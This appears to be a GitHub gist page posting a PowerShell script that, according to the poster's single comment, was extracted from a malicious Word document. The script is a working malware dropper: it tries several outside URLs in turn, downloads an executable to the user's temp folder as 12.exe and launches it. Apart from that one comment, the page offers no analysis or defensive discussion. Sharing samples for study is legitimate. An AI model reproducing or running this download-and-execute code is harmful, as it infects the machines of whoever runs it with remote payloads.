Skip to content

Instantly share code, notes, and snippets.

@otanim
Last active June 4, 2019 21:38
Show Gist options
  • Save otanim/87fda4cf398b004a1722d40f43b1ebd2 to your computer and use it in GitHub Desktop.
Save otanim/87fda4cf398b004a1722d40f43b1ebd2 to your computer and use it in GitHub Desktop.
$us = "http://scheerstudio.be/hjfdstf672","fhttp://rosiautosuli.hu/hjdstf672","http://rakkertje.org/hjfdstf672","http://rlamsa.com/hjfdstf672","http://schlaefereit.nrdc.de/hjfdstf672"
foreach($u in $us){
Try
{
Write-Host $u
$fp = "$env:temp\12.exe"
Write-Host $fp
$wc = New-Object System.Net.WebClient
$wc.DownloadFile($u, $fp)
Start-Process $fp
break
}
Catch
{
Write-Host $_.Exception.Message
}
}
@otanim
Copy link
Author

otanim commented Jun 4, 2019

I do remember that I've extracted this part of code from malicious docx file.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment